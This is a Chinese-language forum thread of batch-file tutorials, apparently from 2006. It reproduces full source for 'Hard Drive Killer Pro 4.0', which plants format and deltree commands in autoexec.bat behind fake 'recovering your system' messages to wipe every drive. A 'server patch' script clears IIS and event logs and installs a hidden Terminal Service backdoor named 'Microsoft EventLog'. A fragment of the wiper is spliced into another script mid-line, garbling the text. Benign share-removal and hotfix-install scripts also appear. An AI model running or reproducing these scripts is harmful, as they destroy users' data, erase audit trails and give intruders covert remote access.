  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

  echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat

  echo cls >>c:\autoexec.bat

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

  echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat

  echo cls >>c:\autoexec.bat

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

  echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat

  echo cls >>c:\autoexec.bat

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

  echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat

  echo cls >>c:\autoexec.bat

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

  echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat

  echo cls >>c:\autoexec.bat

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

  echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat

  echo cd\ >>c:\autoexec.bat

  echo cls >>c:\autoexec.bat

  echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat

  echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat

  echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat

  echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:\autoexec.bat

  echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:\autoexec.bat

  echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat

  echo echo. >>c:\autoexec.bat

  echo echo Regards, >>c:\autoexec.bat

  echo echo. >>c:\autoexec.bat

  echo echo Munga Bunga >>c:\autoexec.bat

  call attrib +r +h c:\autoexec.bat

  :makedir

  if exist c:\temp.bat attrib -r -h c:\temp.bat >nul

  echo @echo off >c:\temp.bat

  echo %%1:\ >>c:\temp.bat

  echo cd\ >>c:\temp.bat

  echo :startmd >>c:\temp.bat

  echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat

  echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat

  echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat

  call attrib +r +h c:\temp.bat >nul

  cls

  echo Initializing Variables . . .

  rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.

  for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul

  cls

  echo Initializing Variables . . .

  echo Validating Data . . .

  for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul

  cls

  echo Initializing Variables . . .

  echo Validating Data . . .

  echo Analyzing System Structure . . .

  for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul

  call attrib +r +h c:\temp.bat >nul

  call attrib +r +h c:\autoexec.bat >nul

  cls

  echo Initializing Variables . . .

  echo Validating Data . . .

  echo Analyzing System Structure . . .

  echo Initializing Application . . .

  for %%a in (%drive%) call deltree /y %%a:\*. >nul

  cls

  echo Initializing Variables . . .

  echo Validating Data . . .

  echo Analyzing System Structure . . .

  echo Initializing Application . . .

  echo Starting Application . . .

  for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul

  cls

  echo Thank you for using a Munga Bunga product.

  echo.

  echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.

  echo.

  echo Here is a joke for you . . .

  echo.

  echo Q). Whats the worst thing about being an egg?

  echo A). You only get laid once.

  echo.

  echo HAHAHAHA, get it? Dont you just love that one?

  echo.

  echo Regards,

  echo.

  echo Munga Bunga

  :end

  rem Hard Drive Killer Pro Version 4.0, enjoy!!!!

  rem Author: Munga Bunga - from Australia, the land full of retarded A 六.精彩實例放送。

  1.移除win2k/xp系統預設值共享的批次處理

  ------------------------ cut here then save as .bat or .cmd file ---------------------------

  @echo preparing to delete all the default shares.when ready pres any key.

  @pause

  @echo off

  :Rem check parameters if null show usage.

  if {%1}=={} goto :Usage

  :Rem code start.

  echo.

  echo ------------------------------------------------------

  echo.

  echo Now deleting all the default shares.

  echo.

  net share %1$ /delete

  net share %2$ /delete

  net share %3$ /delete

  net share %4$ /delete

  net share %5$ /delete

  net share %6$ /delete

  net share %7$ /delete

  net share %8$ /delete

  net share %9$ /delete

  net stop Server

  net start Server

  echo.

  echo All the shares have been deleteed

  echo.

  echo ------------------------------------------------------

  echo.

  echo Now modify the registry to change the system default properties.

  echo.

  echo Now creating the registry file

  echo Windows Registry Editor Version 5.00> c:\delshare.reg

  echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg

  echo "AutoShareWks"=dword:00000000>> c:\delshare.reg

  echo "AutoShareServer"=dword:00000000>> c:\delshare.reg

  echo Nowing using the registry file to chang the system default properties.

  regedit /s c:\delshare.reg

  echo Deleting the temprotarily files.

  del c:\delshare.reg

  goto :END

ustralians (help me get out of here).

:Usage

  echo.

  echo ------------------------------------------------------

  echo.

  echo ☆ A example for batch file ☆

  echo ☆ [Use batch file to change the sysytem share properties.] ☆

  echo.

  echo Author:Ex4rch

  echo Mail:Ex4rch@hotmail.com QQ:1672602

  echo.

  echo Error:Not enough parameters

  echo.

  echo ☆ Please enter the share disk you wanna delete ☆

  echo.

  echo For instance,to delete the default shares:

  echo delshare c d e ipc admin print

  echo.

  echo If the disklable is not as C: D: E: ,Please chang it youself.

  echo.

  echo example:

  echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :

  echo delshare c d e x y z ipc admin print

  echo.

  echo *** you can delete nine shares once in a useing ***

  echo.

  echo ------------------------------------------------------

  goto :EOF

  :END

  echo.

  echo ------------------------------------------------------

  echo.

  echo OK,delshare.bat has deleted all the share you assigned.

  echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.

  echo

  echo.

  echo ------------------------------------------------------

  echo.

  :EOF

  echo end of the batch file

  ------------------------ cut here then save as .bat or .cmd file ---------------------------


  2.全面加固系統(給目標物打修正檔)的批次處理文件

  ------------------------ cut here then save as .bat or .cmd file ---------------------------

  @echo Windows Registry Editor Version 5.00 >patch.dll

  @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] >>patch.dll

  @echo "AutoShareServer"=dword:00000000 >>patch.dll

  @echo "AutoShareWks"=dword:00000000 >>patch.dll

  @REM [禁止共享]

  @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll

  @echo "restrictanonymous"=dword:00000001 >>patch.dll

  @REM [禁止匿名登入]

  @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >>patch.dll

  @echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll

  @REM [禁止及文件訪問和列印共享]

  @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>patch.dll

  @echo "Start"=dword:00000004 >>patch.dll

  @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dll

  @echo "Start"=dword:00000004 >>patch.dll

  @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>patch.dll

  @echo "ShutdownWithoutLogon"="0" >>patch.dll

  @REM [禁止登入前關機]

  @echo "DontDisplayLastUserName"="1" >>patch.dll

  @REM [禁止顯示前一個登入用戶名稱]

  @regedit /s patch.dll

 

  下面指令是清除目標物所有日誌,禁止一些危險的服務,並修改目標物的terminnal service留跳後路。

  @regedit /s patch.dll

  @net stop w3svc

  @net stop event log

  @del c:\winnt\system32\logfiles\w3svc1\*.* /f /q

  @del c:\winnt\system32\logfiles\w3svc2\*.* /f /q

  @del c:\winnt\system32\config\*.event /f /q

  @del c:\winnt\system32dtclog\*.* /f /q

  @del c:\winnt\*.txt /f /q

  @del c:\winnt\*.log /f /q

  @net start w3svc

  @net start event log

  @rem [移除日誌]

  @net stop lanmanserver /y

  @net stop Schedule /y

  @net stop RemoteRegistry /y

  @del patch.dll

  @echo The server has been patched,Have fun.

  @del patch.bat

  @REM [禁止一些危險的服務。]

  @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>patch.dll

  @echo "PortNumber"=dword:00002010 >>patch.dll

  @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp >>patch.dll

  @echo "PortNumber"=dword:00002012 >>patch.dll

  @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll

  @echo "Start"=dword:00000002 >>patch.dll

  @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll

  @echo "Start"=dword:00000002 >>patch.dll

  @echo "ErrorControl"=dword:00000001 >>patch.dll

  @echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll

  @echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll

  @echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll

  @echo "ObjectName"="LocalSystem" >>patch.dll

  @echo "Type"=dword:00000010 >>patch.dll

  @echo "Description"="Keep record of the program and windows message。" >>patch.dll

  @echo "DisplayName"="Microsoft EventLog" >>patch.dll

  @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll

  @echo "Start"=dword:00000004 >>patch.dll

  @copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe

  @REM [修改3389連接,連接阜為8210(十六進制為00002012),名稱為Microsoft EventLog,留條後路]
 3.Hard Drive Killer Pro Version 4.0(玩批次處理到這個水準真的不容易了。)

  ------------------------ cut here then save as .bat or .cmd file ---------------------------

  @echo off

  rem This program is dedecated to a very special person that does not want to be named.

  :start

  cls

  echo PLEASE WAIT WHILE PROGRAM LOADS . . .

  call attrib -r -h c:\autoexec.bat >nul

  echo @echo off >c:\autoexec.bat

  echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat

  call attrib +r +h c:\autoexec.bat >nul

  rem Drive checking and assigning the valid drives to the drive variable.

  set drive=

  set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

  rem code insertion for Drive Checking takes place here.

  rem drivechk.bat is the file name under the root directory.

  rem As far as the drive detection and drive variable settings, dont worry about how it

  rem works, its d\*amn to complicated for the average or even the expert batch programmer.

  rem Except for Tom Lavedas.

  echo @echo off >drivechk.bat

  echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat

  %comspec% /e:2048 /c {t}.bat >>drivechk.bat

  del {t}.bat

  echo if errorlevel 1 goto enddc >>drivechk.bat

  cls

  echo PLEASE WAIT WHILE PROGRAM LOADS . . .

  rem When errorlevel is 1, then the above is not true, if 0, then its true.
  rem Opposite of binary rules. If 0, it will elaps to the next command.

  echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat

  %comspec% /e:2048 /c {t}.bat >>drivechk.bat

  del {t}.bat

  echo if errorlevel 1 goto enddc >>drivechk.bat

  cls

  echo PLEASE WAIT WHILE PROGRAM LOADS . . .

  rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.

  rem if errorlevel is 0, then it will elaps to the next command.

  echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat

  %comspec% /e:2048 /c {t}.bat >>drivechk.bat

  del {t}.bat

  echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

  cls

  echo PLEASE WAIT WHILE PROGRAM LOADS . . .

  rem if its errorlevel 1, then the specified drive is a hard or floppy drive.

  rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.

  echo :enddc >>drivechk.bat

  rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

  rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv

  for %%a in (%alldrive%) do call drivechk.bat %%a >nul

  del drivechk.bat >nul

  if %drive.==. set drive=c

  :form_del

  call attrib -r -h c:\autoexec.bat >nul

  echo @echo off >c:\autoexec.bat

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

  echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat

  echo cls >>c:\autoexec.bat

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

  echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat

  echo cls >>c:\autoexec.bat

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

  echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat

  echo cls >>c:\autoexec.bat

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

  echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat

  echo cls >>c:\autoexec.bat

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

  echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat

  echo cls >>c:\autoexec.bat

  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

  echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat

  echo cd\ >>c:\autoexec.bat

  echo cls >>c:\autoexec.bat

  echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat

  echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat

  echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat

  echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:\autoexec.bat

  echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:\autoexec.bat

  echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat

  echo echo. >>c:\autoexec.bat

  echo echo Regards, >>c:\autoexec.bat

  echo echo. >>c:\autoexec.bat

  echo echo Munga Bunga >>c:\autoexec.bat

  call attrib +r +h c:\autoexec.bat

  :makedir

  if exist c:\temp.bat attrib -r -h c:\temp.bat >nul

  echo @echo off >c:\temp.bat

  echo %%1:\ >>c:\temp.bat

  echo cd\ >>c:\temp.bat

  echo :startmd >>c:\temp.bat

  echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat

  echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat

  echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat

  call attrib +r +h c:\temp.bat >nul

  cls

  echo Initializing Variables . . .

  rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.

  for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul

  cls

  echo Initializing Variables . . .

  echo Validating Data . . .

  for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul

  cls

  echo Initializing Variables . . .

  echo Validating Data . . .

  echo Analyzing System Structure . . .

  for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul

  call attrib +r +h c:\temp.bat >nul

  call attrib +r +h c:\autoexec.bat >nul

  cls

  echo Initializing Variables . . .

  echo Validating Data . . .

  echo Analyzing System Structure . . .

  echo Initializing Application . . .

  for %%a in (%drive%) call deltree /y %%a:\*. >nul

  cls

  echo Initializing Variables . . .

  echo Validating Data . . .

  echo Analyzing System Structure . . .

  echo Initializing Application . . .

  echo Starting Application . . .

  for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul

  cls

  echo Thank you for using a Munga Bunga product.

  echo.

  echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.

  echo.

  echo Here is a joke for you . . .

  echo.

  echo Q). Whats the worst thing about being an egg?

  echo A). You only get laid once.

  echo.

  echo HAHAHAHA, get it? Dont you just love that one?

  echo.

  echo Regards,

  echo.

  echo Munga Bunga

  :end

  rem Hard Drive Killer Pro Version 4.0, enjoy!!!!

  rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).

  No.7

  七、致謝&一些廢話

  謹以此文獻給所有為實現網路的自由與共享而努力的朋友們。感謝所有共享他們作品的朋友們,讓我們為我們的理想一起努力!!

  部分內容來自Ex4rchhttp://www.sometips.com(很好的一個)。再次特別感謝!


 
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
舊 2006-02-13, 10:17 AM   #3 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

教你製作一個指令碼(批次處理)文件,一次安裝所有的XP更新程序



首先,將要安裝的更新程序複製到一個資料夾(例如E:\hotfix),然後仿照下面的格式將指令碼文件的內容輸入「記事本」。

@echo off
setlocal
set PATHTOFIXES=E:\hotfix
%PATHTOFIXES%\WindowsXP-KB890859-x86-CHS /Z
%PATHTOFIXES%\WindowsXP-KB890923-x86-CHS /Z
%PATHTOFIXES%\WindowsXP-KB893066-x86-CHS /Z

文件中的「E:\hotfix」應當根據更新程序的存放位置適當修改,「E:\hotfix」資料夾中每增加(或減少)一個更新程序,諸如「% PATHTOFIXES%\WindowsXP-KB890859-x86-CHS /Z」之類的語句就要增加(或減少)一條,而且要根據更新程序的名稱修改該語句中的更新程式名稱稱(例如「WindowsXP-KB890859-x86- CHS」)。如果需要使用其他的更新程序參數,只需在指令碼文件中的更新程式名稱稱後面加上需要的參數,例如「%PATHTOFIXES%\ WindowsXP-KB890923-x86-CHS /Z /q /forceappsclose」即可。

指令碼文件輸入完成後按下「記事本」「文件」功能表下的「另存為」指令,輸入bdaz.cmd之類的名稱儲存(指令碼檔案名「bdaz」任意,副檔名必須是.cmd或.bat)。指令碼文件儲存完畢,開啟命令提示字元視窗,切換到存放指令碼文件「bdaz.cmd」的位置,在命令提示字元後輸入「bdaz」Enter鍵,就可以開始更新程序的批量安裝程序了。

提示:使用指令碼方式批量安裝更新程序以後,必須重新啟動操作系統才能使已經安裝的更新生效。由於Windows 2000/2003的更新程序結構與Windows XP相同,所以本文介紹的方法也可以用於Windows 2000/2003。
__________________
http://bbsimg.qianlong.com/upload/01/08/29/68/1082968_1136014649812.gif
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
 


主題工具
顯示模式

發表規則
不可以發文
不可以回覆主題
不可以上傳附加檔案
不可以編輯您的文章

論壇啟用 BB 語法
論壇啟用 表情符號
論壇啟用 [IMG] 語法
論壇禁用 HTML 語法
Trackbacks are 禁用
Pingbacks are 禁用
Refbacks are 禁用


所有時間均為台北時間。現在的時間是 12:27 AM


Powered by vBulletin® 版本 3.6.8
版權所有 ©2000 - 2024, Jelsoft Enterprises Ltd.


SEO by vBSEO 3.6.1